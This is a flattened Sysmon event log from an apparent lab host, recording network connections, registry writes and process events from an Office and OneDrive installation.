AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59243-false10.0.1.12-8000- 354300x800000000000000044107Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.280{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59242-false52.109.32.63-443https 354300x800000000000000044106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:42.279{7BD73061-6F5A-613B-1D09-00000000F001}4264C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\OLicenseHeartbeat.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59241-false52.109.32.63-443https 354300x800000000000000044105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.879{7BD73061-6DF7-613B-D906-00000000F001}6812C:\Temp\OfficeSetup.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59240-false52.109.12.22-443https 10341000x800000000000000044104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.792{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-3209-00000000F001}4824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000044103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\IE.AssocFile.URL\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\IE.AssocFile.URL\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\Directory\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\Directory\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\Directory\Background\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\Directory\Background\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\*\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\*\shellex\ContextMenuHandlers\ FileSyncEx\(Default){CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} 13241300x800000000000000044093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{1BF42E4C-4AF4-4CFD-A1A0-CF2960B8F63E}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{82CA8DE3-01AD-4CEA-9D75-BE4C51810A9E}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{7AFDFDDB-F914-11E4-8377-6C3BE50D980C}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{C5FF006E-2AE9-408C-B85B-2DFDD5449D9C}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{9AA2F32D-362A-42D9-9328-24A483E2CCC3}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{A78ED123-AB77-406B-9962-2A5D9D2F7F30}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.792{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{5AB7172C-9C11-405C-8DD5-AF20F3606282}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 13241300x800000000000000044073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.782{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\WOW6432Node\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncShell.dll 13241300x800000000000000044072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:44.782{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeHKU\S-1-5-21-589020557-3528615288-1361562277-500_Classes\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32\(Default)C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileSyncShell64.dll 10341000x800000000000000044071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.742{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-3209-00000000F001}4824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.742{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-3209-00000000F001}4824C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.732{7BD73061-65B2-613B-1300-00000000F001}926496C:\Windows\System32\svchost.exe{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.722{7BD73061-6F42-613B-0209-00000000F001}66126320C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\System32\windows.storage.dll+110b0f(wow64)|C:\Windows\System32\windows.storage.dll+11082f(wow64)|C:\Windows\System32\windows.storage.dll+110577(wow64)|C:\Windows\System32\windows.storage.dll+111565(wow64)|C:\Windows\System32\windows.storage.dll+1103a1(wow64)|C:\Windows\System32\windows.storage.dll+11276a(wow64)|C:\Windows\System32\windows.storage.dll+112b67(wow64)|C:\Windows\System32\windows.storage.dll+112195(wow64)|C:\Windows\System32\SHELL32.dll+171154(wow64)|C:\Windows\System32\SHELL32.dll+17102e(wow64)|C:\Windows\System32\SHELL32.dll+1ae34a(wow64)|C:\Windows\System32\shcore.dll+2fffa(wow64) 154100x800000000000000044062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.723{7BD73061-6F5C-613B-3109-00000000F001}4964C:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileSyncConfig.exe18.151.0729.0013Microsoft OneDrive Configuration ApplicationMicrosoft OneDriveMicrosoft 